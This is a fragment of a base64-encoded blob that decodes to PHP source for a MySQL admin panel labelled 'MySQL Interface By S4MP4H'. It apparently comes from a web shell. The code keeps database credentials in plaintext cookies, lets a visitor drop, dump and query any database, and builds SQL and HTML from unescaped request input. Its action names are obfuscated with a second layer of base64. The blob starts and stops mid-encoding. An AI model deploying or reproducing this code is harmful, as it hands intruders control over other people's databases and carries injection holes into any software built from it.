FTEY7DQoJc2V0Y29va2llKCAibXlzcWxfd2ViX2FkbWluX3VzZXJuYW1lIiApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIgKTsNCglzZXRjb29raWUoICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiICk7DQoJZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgaGVpZ2h0PTEwMCU+PHRyPjx0ZD48Y2VudGVyPlxuIjsNCgllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9Mj48dHI+PHRkPjxjZW50ZXI+XG4iOw0KCWVjaG8gIjx0YWJsZSBjZWxscGFkZGluZz0yMD48dHI+PHRkPjxjZW50ZXI+XG4iOw0KCWVjaG8gIjxoMT5NeVNRTCBJbnRlcmZhY2UgQnkgUzRNUDRIPC9oMT5cbiI7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9Ykc5bmIyNWZjM1ZpYldsMD5cbiI7DQoJZWNobyAiPHRhYmxlIGNlbGxwYWRkaW5nPTUgY2VsbHNwYWNpbmc9MT5cbiI7DQoJZWNobyAiPHRyPjx0ZCBjbGFzcz1cIm5ld1wiPkhvc3RuYW1lIDwvdGQ+PHRkPiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9aG9zdG5hbWUgdmFsdWU9J2xvY2FsaG9zdCc+PC90ZD48L3RyPlxuIjsNCgllY2hvICI8dHI+PHRkIGNsYXNzPVwibmV3XCI+VXNlcm5hbWUgPC90ZD48dGQ+IDxpbnB1dCB0eXBlPXRleHQgbmFtZT11c2VybmFtZT48L3RkPjwvdHI+XG4iOw0KCWVjaG8gIjx0cj48dGQgY2xhc3M9XCJuZXdcIj5QYXNzd29yZCA8L3RkPjx0ZD4gPGlucHV0IHR5cGU9cGFzc3dvcmQgbmFtZT1wYXNzd29yZD48L3RkPjwvdHI+XG4iOw0KCWVjaG8gIjwvdGFibGU+PHA+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRW50ZXInPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1yZXNldCB2YWx1ZT0nQ2xlYXInPjxicj5cbiI7DQoJZWNobyAiPC9mb3JtPlxuIjsNCgllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7DQoJZWNobyAiPC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+XG4iOw0KCWVjaG8gIjxwPjxociB3aWR0aD0zMDA+XG4iOw0KCWVjaG8gIjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gbG9nb25fc3VibWl0KCkgew0KCWdsb2JhbCAkdXNlcm5hbWUsICRwYXNzd29yZCwgJGhvc3RuYW1lICwkUEhQX1NFTEY7DQoJaWYoJGhvc3RuYW1lID09JycpDQoJCSRob3N0bmFtZSA9ICdsb2NhbGhvc3QnOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl91c2VybmFtZSIsICR1c2VybmFtZSApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIsICRwYXNzd29yZCApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIsICRob3N0bmFtZSApOw0KCWVjaG8gIjxNRVRBIEhUVFAtRVFVSVY9UmVmcmVzaCBDT05URU5UPScwOyBVUkw9JFBIUF9TRUxGP2FjdGlvbj1iR2x6ZEVSQ2N3PT0nPiI7DQp9DQoNCmZ1bmN0aW9uIGVjaG9RdWVyeVJlc3VsdCgpIHsNCglnbG9iYWwgJHF1ZXJ5U3RyLCAkZXJyTXNnOw0KCWlmKCAkZXJyTXNnID09ICIiICkgJGVyck1zZyA9ICJTdWNjZXNzIjsNCglpZiggJHF1ZXJ5U3RyICE9ICIiICkgew0KCQllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9NT5cbiI7DQoJCWVjaG8gIjx0cj48dGQ+UXVlcnk8L3RkPjx0ZD4kcXVlcnlTdHI8L3RkPjwvdHI+XG4iOw0KCQllY2hvICI8dHI+PHRkPlJlc3VsdDwvdGQ+PHRkPiRlcnJNc2c8L3RkPjwvdHI+XG4iOw0KCQllY2hvICI8L3RhYmxlPjxwPlxuIjsNCgl9DQp9DQoNCmZ1bmN0aW9uIGxpc3REYXRhYmFzZXMoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJFBIUF9TRUxGOw0KCWVjaG8gIjxoMT5EYXRhYmFzZXMgTGlzdDwvaDE+XG4iOw0KCWVjaG8gIjxmb3JtIGFjdGlvbj0nJFBIUF9TRUxGJz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWNyZWF0ZURCPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NyZWF0ZSBEYXRhYmFzZSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQoJZWNobyAiPGhyPlxuIjsNCgllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz01PlxuIjsNCgkkcERCID0gbXlzcWxfbGlzdF9kYnMoICRteXNxbEhhbmRsZSApOw0KCSRudW0gPSBteXNxbF9udW1fcm93cyggJHBEQiApOw0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRkYm5hbWUgPSBteXNxbF9kYm5hbWUoICRwREIsICRpICk7DQoJCWVjaG8gIjx0cj5cbiI7DQoJCWVjaG8gIjx0ZD4kZGJuYW1lPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWxpc3RUYWJsZXMmZGJuYW1lPSRkYm5hbWUnPlRhYmxlczwvYT48L3RkPlxuIjsNCgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHJvcERCJmRibmFtZT0kZGJuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0Ryb3AgRGF0YWJhc2UgXCckZGJuYW1lXCc/JylcIj5Ecm9wPC9hPjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kdW1wREImZGJuYW1lPSRkYm5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHVtcCBEYXRhYmFzZSBcJyRkYm5hbWVcJz8nKVwiPkR1bXA8L2E+PC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gY3JlYXRlRGF0YWJhc2UoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9TRUxGOw0KCW15c3FsX2NyZWF0ZV9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJbGlzdERhdGFiYXNlcygpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wRGF0YWJhc2UoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9TRUxGOw0KCW15c3FsX2Ryb3BfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCWxpc3REYXRhYmFzZXMoKTsNCn0NCg0KZnVuY3Rpb24gbGlzdFRhYmxlcygpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkUEhQX1NFTEY7DQoJZWNobyAiPGgxPlRhYmxlcyBMaXN0PC9oMT5cbiI7DQoJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZTwvcD5cbiI7DQoJZWNob1F1ZXJ5UmVzdWx0KCk7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9Y3JlYXRlVGFibGU+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9dGFibGVuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NyZWF0ZSBUYWJsZSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9cXVlcnk+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IHNpemU9MTIwIG5hbWU9cXVlcnlTdHI+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nUXVlcnknPlxuIjsNCgllY2hvICI8L2Zvcm0+XG4iOw0KCWVjaG8gIjxocj5cbiI7DQoJJHBUYWJsZSA9IG15c3FsX2xpc3RfdGFibGVzKCAkZGJuYW1lICk7DQoJaWYoICRwVGFibGUgPT0gMCApIHsNCgkJJG1zZyAgPSBteXNxbF9lcnJvcigpOw0KCQllY2hvICI8aDM+RXJyb3IgOiAkbXNnPC9oMz48cD5cbiI7DQoJCXJldHVybjsNCgl9DQoJJG51bSA9IG15c3FsX251bV9yb3dzKCAkcFRhYmxlICk7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsNCgkJJHRhYmxlbmFtZSA9IG15c3FsX3RhYmxlbmFtZSggJHBUYWJsZSwgJGkgKTsNCgkJZWNobyAiPHRyPlxuIjsNCgkJZWNobyAiPHRkPlxuIjsNCgkJZWNobyAiJHRhYmxlbmFtZVxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+U2NoZW1hPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5EYXRhPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHJvcFRhYmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0Ryb3AgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5Ecm9wPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHVtcFRhYmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0R1bXAgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5EdW1wPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPiI7DQp9DQoNCmZ1bmN0aW9uIGNyZWF0ZVRhYmxlKCkgew0KDQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkNSRUFURSBUQUJMRSAkdGFibGVuYW1lICggbm8gSU5UICkiOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJbXlzcWxfcXVlcnkoICRxdWVyeVN0ciwgJG15c3FsSGFuZGxlICk7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJbGlzdFRhYmxlcygpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wVGFibGUoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkRST1AgVEFCTEUgJHRhYmxlbmFtZSI7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyLCAkbXlzcWxIYW5kbGUgKTsNCgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsNCglsaXN0VGFibGVzKCk7DQp9DQoNCmZ1bmN0aW9uIHZpZXdTY2hlbWEoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJZWNobyAiPGgxPlRhYmxlIFNjaGVtYTwvaDE+XG4iOw0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvUXVlcnlSZXN1bHQoKTsNCgllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWFkZEZpZWxkJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5BZGQgRmllbGQ8L2E+IHwgXG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5WaWV3IERhdGE8L2E+XG4iOw0KCWVjaG8gIjxocj5cbiI7DQoJJHBSZXN1bHQgPSBteXNxbF9kYl9xdWVyeSggJGRibmFtZSwgIlNIT1cgZmllbGRzIEZST00gJHRhYmxlbmFtZSIgKTsNCgkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7DQoJZWNobyAiPHRyPlxuIjsNCgllY2hvICI8dGg+RmllbGQ8L3RoPlxuIjsNCgllY2hvICI8dGg+VHlwZTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5OdWxsPC90aD5cbiI7DQoJZWNobyAiPHRoPktleTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5EZWZhdWx0PC90aD5cbiI7DQoJZWNobyAiPHRoPkV4dHJhPC90aD5cbiI7DQoJZWNobyAiPHRoIGNvbHNwYW49Mj5BY3Rpb248L3RoPlxuIjsNCgllY2hvICI8L3RyPlxuIjsNCg0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2FycmF5KCAkcFJlc3VsdCApOw0KCQllY2hvICI8dHI+XG4iOw0KCQllY2hvICI8dGQ+Ii4kZmllbGRbIkZpZWxkIl0uIjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+Ii4kZmllbGRbIlR5cGUiXS4iPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiTnVsbCJdLiI8L3RkPlxuIjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJLZXkiXS4iPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiRGVmYXVsdCJdLiI8L3RkPlxuIjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJFeHRyYSJdLiI8L3RkPlxuIjsNCgkJJGZpZWxkbmFtZSA9ICRmaWVsZFsiRmllbGQiXTsNCgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZWRpdEZpZWxkJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJmZpZWxkbmFtZT0kZmllbGRuYW1lJz5FZGl0PC9hPjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kcm9wRmllbGQmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmZmllbGRuYW1lPSRmaWVsZG5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHJvcCBGaWVsZCBcJyRmaWVsZG5hbWVcJz8nKVwiPkRyb3A8L2E+PC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gbWFuYWdlRmllbGQoICRjbWQgKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGgxPkFkZCBGaWVsZDwvaDE+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQllY2hvICI8aDE+RWRpdCBGaWVsZDwvaDE+XG4iOw0KCQkkcFJlc3VsdCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAiU0hPVyBmaWVsZHMgRlJPTSAkdGFibGVuYW1lIiApOw0KCQkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7DQoJCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCQkkZmllbGQgPSBteXNxbF9mZXRjaF9hcnJheSggJHBSZXN1bHQgKTsNCgkJCWlmKCAkZmllbGRbIkZpZWxkIl0gPT0gJGZpZWxkbmFtZSApIHsNCgkJCQkkZmllbGR0eXBlID0gJGZpZWxkWyJUeXBlIl07DQoJCQkJJGZpZWxka2V5ID0gJGZpZWxkWyJLZXkiXTsNCgkJCQkkZmllbGRleHRyYSA9ICRmaWVsZFsiRXh0cmEiXTsNCgkJCQkkZmllbGRudWxsID0gJGZpZWxkWyJOdWxsIl07DQoJCQkJJGZpZWxkZGVmYXVsdCA9ICRmaWVsZFsiRGVmYXVsdCJdOw0KCQkJCWJyZWFrOw0KCQkJfQ0KCQl9DQoNCgkJJHR5cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7DQoJCWlmKCBzdHJwb3MoICRmaWVsZHR5cGUsICIoIiApICkgew0KCQkJaWYoICR0eXBlID09ICJlbnVtIiB8ICR0eXBlID09ICJzZXQiICkgew0KCQkJCSR2YWx1ZWxpc3QgPSBzdHJ0b2soICIgKClcbiIgKTsNCgkJCX0gZWxzZSB7DQoJCQkJJE0gPSBzdHJ0b2soICIgKCwpXG4iICk7DQoJCQkJaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgIiwiICkgKQ0KCQkJCQkkRCA9IHN0cnRvayggIiAoLClcbiIgKTsNCgkJCX0NCgkJfQ0KCX0NCg0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvICI8Zm9ybSBhY3Rpb249JFBIUF9TRUxGPlxuIjsNCglpZiggJGNtZCA9PSAiYWRkIiApDQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1hZGRGaWVsZF9zdWJtaXQ+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9ZWRpdEZpZWxkX3N1Ym1pdD5cbiI7DQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPW9sZF9uYW1lIHZhbHVlPSRmaWVsZG5hbWU+XG4iOw0KCX0NCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kYm5hbWUgdmFsdWU9JGRibmFtZT5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9dGFibGVuYW1lIHZhbHVlPSR0YWJsZW5hbWU+XG4iOw0KCWVjaG8gIjxoMz5OYW1lPC9oMz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBuYW1lPW5hbWUgdmFsdWU9JGZpZWxkbmFtZT48cD5cbiI7DQoJZWNobyAnDQoNCjxoMz5UeXBlPC9oMz4NCjxmb250IHNpemU9MiBjbGFzcz0ibmV3Ij4NCiogYE1cJyBpbmRpY2F0ZXMgdGhlIG1heGltdW0gZGlzcGxheSBzaXplLjxicj4NCiogYERcJyBhcHBsaWVzIHRvIGZsb2F0aW5nLXBvaW50IHR5cGVzIGFuZCBpbmRpY2F0ZXMgdGhlIG51bWJlciBvZiBkaWdpdHMgZm9sbG93aW5nIHRoZSBkZWNpbWFsIHBvaW50Ljxicj4NCjwvZm9udD4NCjx0YWJsZT4NCjx0cj4NCjx0aD5UeXBlPC90aD48dGg+Jm5ic3BNJm5ic3A8L3RoPjx0aD4mbmJzcEQmbmJzcDwvdGg+PHRoPnVuc2lnbmVkPC90aD48dGg+emVyb2ZpbGw8L3RoPjx0aD5iaW5hcnk8L3RoPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTllJTlQiICc7IGlmKCAkdHlwZSA9PSAidGlueWludCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElOWUlOVCAoLTEyOCB+IDEyNyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iU01BTExJTlQiICc7IGlmKCAkdHlwZSA9PSAic21hbGxpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlNNQUxMSU5UICgtMzI3NjggfiAzMjc2Nyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iTUVESVVNSU5UIiAnOyBpZiggJHR5cGUgPT0gIm1lZGl1bWludCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TUVESVVNSU5UICgtODM4ODYwOCB+IDgzODg2MDcpPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IklOVCIgJzsgaWYoICR0eXBlID09ICJpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPklOVCAoLTIxNDc0ODM2NDggfiAyMTQ3NDgzNjQ3KTwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJCSUdJTlQiICc7IGlmKCAkdHlwZSA9PSAiYmlnaW50IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5CSUdJTlQgKC05MjIzMzcyMDM2ODU0Nzc1ODA4IH4gOTIyMzM3MjAzNjg1NDc3NTgwNyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iRkxPQVQiICc7IGlmKCAkdHlwZSA9PSAiZmxvYXQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkZMT0FUPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkRPVUJMRSIgJzsgaWYoICR0eXBlID09ICJkb3VibGUiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRPVUJMRTwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJERUNJTUFMIiAnOyBpZiggJHR5cGUgPT0gImRlY2ltYWwiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRFQ0lNQUwoTlVNRVJJQyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iREFURSIgJzsgaWYoICR0eXBlID09ICJkYXRlIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5EQVRFICgxMDAwLTAxLTAxIH4gOTk5OS0xMi0zMSwgWVlZWS1NTS1ERCk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iREFURVRJTUUiICc7IGlmKCAkdHlwZSA9PSAiZGF0ZXRpbWUiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRBVEVUSU1FICgxMDAwLTAxLTAxIDAwOjAwOjAwIH4gOTk5OS0xMi0zMSAyMzo1OTo1OSwgWVlZWS1NTS1ERCBISDpNTTpTUyk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iVElNRVNUQU1QIiAnOyBpZiggJHR5cGUgPT0gInRpbWVzdGFtcCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElNRVNUQU1QICgxOTcwLTAxLTAxIDAwOjAwOjAwIH4gMjEwNi4uLiwgWVlZWU1NRERbSEhbTU1bU1NdXV0pPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48a